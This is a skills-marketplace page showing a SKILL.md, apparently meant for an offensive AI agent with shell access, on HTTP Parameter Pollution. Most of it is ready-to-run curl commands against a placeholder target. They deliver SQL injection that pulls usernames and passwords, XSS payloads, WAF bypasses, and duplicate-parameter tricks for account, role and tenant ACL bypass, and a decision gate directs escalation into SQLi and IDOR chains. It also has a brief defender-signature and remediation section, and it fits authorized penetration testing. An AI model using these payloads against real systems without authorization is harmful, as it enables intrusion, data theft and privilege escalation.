Skip to main content

hpp

HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.

Ir para a instalação

Informações da origem

Repositório
BitterSecurity/Decepticon
Última atividade na origem
1 de junho de 2026 às 23:08
Idioma detectado do SKILL.md
inglês
Estrelas
5.565
Forks
1.053

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Exibindo SKILL.md

SKILL.md
Instruções da origem · Visualização somente leitura
name
hpp
description
HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"HPP, HTTP parameter pollution, duplicate parameters, parameter precedence, WAF bypass via dup params, parser discrepancy, ?a=1&a=2","tags":"hpp, parser-discrepancy, waf-bypass, auth-bypass","mitre_attack":"T1190"}
# HTTP Parameter Pollution (HPP) Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter **differently**. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical. ## 1. Parser precedence table When `?id=1&id=2` (or duplicated body params) is received: | Stack | `request.GET['id']` / equivalent | `getParameterValues` / list view | |---|---|---| | PHP (`$_GET`) | **last** wins (`2`) | `$_GET['id[]']` only; otherwise the dup is dropped | | ASP.NET (`Request.QueryString["id"]`) | **comma-concatenated** (`"1,2"`) | `GetValues` returns both | | ASP Classic | **comma-concatenated** | — | | Java Servlet (`getParameter`) | **first** (`1`) | `getParameterValues` returns both | | Java Spring `@RequestParam String` | **first** | `List<String>` binds both | | Node.js `qs` (Express default) | **array** (`["1","2"]`) | n/a | | Node.js `querystring` (legacy) | **array** | n/a | | Python Flask `request.args.get` | **first** | `getlist` returns both | | Python Django `request.GET['id']` | **last** | `getlist` returns both | | Python `urllib.parse.parse_qs` | **list** (`["1","2"]`) | — | | Ruby on Rails | **last** | `params[:id]` is the last; arrays via `id[]=` | | Go `net/http` `r.URL.Query().Get` | **first** | `["id"]` returns all | | Perl CGI `param("id")` | **first** in scalar, **list** in list context | — | | nginx `$arg_id` | **first** | — | | Apache mod_rewrite `%{QUERY_STRING}` | raw — passes both | — | | AWS API Gateway → Lambda proxy | **last** in `queryStringParameters`, all in `multiValueQueryStringParameters` | — | | Cloudflare WAF | inspects **all** values for rule match (generally) | — | | AWS WAF | inspects each occurrence | — | | ModSecurity (CRS) | inspects each — but anomaly score per rule | — | The exploitable pattern: **WAF/proxy reads value A, app reads value B**. ## 2. Detection ```bash # Baseline curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n' # Duplicate param — same key curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n' cat resp.dup | head -c 300 # Bracket form (PHP arrays) curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n' # Whitespace / separator variants curl -s "http://<TARGET>/api?id=1;id=2" # semicolon separator (PHP/Java differ) curl -s "http://<TARGET>/api?id=1&id =2" # space-before-= curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api" # body dup ``` Reflection check — does the response echo `1`, `2`, `1,2`, or `["1","2"]`? That literally fingerprints the stack. ```bash for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do echo "== $pair ==" curl -s "http://<TARGET>/echo?$pair" echo done ``` ## 3. WAF bypass via duplicate parameters The WAF inspects one occurrence; the app concatenates / picks the other. ```bash # ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat curl -G "http://<TARGET>/search" \ --data-urlencode "q=1" \ --data-urlencode "q=UNION SELECT user,password FROM users--" # PHP last-wins: WAF blocks the obvious payload only if it inspects every value curl -G "http://<TARGET>/search" \ --data-urlencode "q=harmless" \ --data-urlencode "q=<svg/onload=alert(1)>" # Java first-wins, WAF inspects only the LAST occurrence (some appliances do) curl -G "http://<TARGET>/cmd" \ --data-urlencode "host=' OR 1=1--" \ --data-urlencode "host=8.8.8.8" ``` Mixed source confusion — GET vs POST: ```bash # Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection curl -X POST "http://<TARGET>/api?role=user" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'role=admin' ``` ## 4. Server-side HPP — auth / ACL bypass The auth layer evaluates one value; the controller acts on another. ```bash # Pattern: filter reads first, action reads last curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100" # Filter: account==mine → permits. Controller: last wins → operates on victim. # Role check vs role assignment curl -X POST "http://<TARGET>/users/create" \ -d 'role=user&username=x&role=admin' # Tenant scoping curl "http://<TARGET>/api/orders?tenant_id=$MINE&tenant_id=$OTHER" ``` ## 5. Client-side HPP User-supplied parameter is **re-emitted into a link or redirect** without re-encoding `&`. ``` Vulnerable template: <a href="/proxy?url=USER_INPUT&action=read"> Payload: USER_INPUT = http://x.tld?evil=1 Rendered link: /proxy?url=http://x.tld?evil=1&action=read Server sees: url=http://x.tld?evil=1 AND action=read (still benign) Now payload: USER_INPUT = http://x.tld?evil=1&action=delete Rendered link: /proxy?url=http://x.tld?evil=1&action=delete&action=read Server (first-wins): action=delete ← attacker controls flow despite "&action=read" being hard-coded ``` ```bash # Probe — pass a payload containing & and look for it un-encoded in the response HTML curl -s "http://<TARGET>/page?ref=foo%26admin=1" | grep -oE 'href="[^"]*ref=[^"]*"' | head ``` ## 6. Injection delivery ```bash # Split SQLi payload across two values to bypass per-value length / pattern checks curl -G "http://<TARGET>/search" \ --data-urlencode "q=' UNION SELECT 1,2,3--" \ --data-urlencode "q=' UNION SELECT username,password,3 FROM users--" # .NET concatenation → final value contains both fragments joined by "," # Carry an XSS payload past a regex that only checks one occurrence curl -G "http://<TARGET>/view" \ --data-urlencode "name=harmless" \ --data-urlencode "name=<img src=x onerror=alert(1)>" ``` ## 7. Tools - **Burp Param Miner** — finds hidden / undocumented params, reflects, dup-detection. - **HTTPParameterPollution** Burp extension — generates dup-permutations. - **wfuzz / ffuf** — fuzz with `-z list,1-2-1,1` to inject duplicate keys. - **sqlmap** `--param-del=';'` `-p 'q'` `--skip-urlencode` — for separator-style HPP. - Hand-rolled Python: `requests.PreparedRequest` lets you pass a list of tuples to keep order: `[("id","1"),("id","2")]`. ## 8. Detection signatures (defenders) | Signal | Source | |---|---| | Two `id=` (or any key) per request line | access logs, request audit | | WAF rule fired on one occurrence, request still 200 | WAF + app log correlation | | `?key[]=` or `;key=` patterns | nginx / Apache logs | | ASP.NET request that concatenates user input into `"1,2"` and forwards to a backend | app trace | | Differential outcome on `?a=1&a=2` vs `?a=2&a=1` | active monitoring probe | Remediation: canonicalize duplicates **before** auth/inspection; reject duplicates by policy on sensitive endpoints; never re-emit user input into URLs without re-encoding `&` and `=`. ## 9. Decision gate | Observation | Action | |---|---| | Stack identified, dup-param accepted, app reads value B while WAF inspects A | Confirm with a known-blocked payload split across A,B → escalate to SQLi/XSS chain | | Auth-relevant param accepted in duplicate AND backend action uses a different occurrence | Pursue ACL/IDOR-via-HPP chain → high severity | | Dup accepted but both occurrences inspected and treated identically | Low impact, move on or fold into bypass research | | Client-side HPP only (no auth/ACL impact) | Document, often Low; chain with open redirect / CSRF | ## Cross-references - WAF bypass payload obfuscation: `skills/standard/exploit/web/waf-bypass/SKILL.md` - SQLi chain: `skills/standard/exploit/web/sqli/SKILL.md` - BFLA / IDOR via param shadowing: `skills/standard/exploit/web/bfla/SKILL.md` - HTTP smuggling (related parser-discrepancy class): `skills/standard/exploit/web/smuggling/SKILL.md`
Ver no GitHub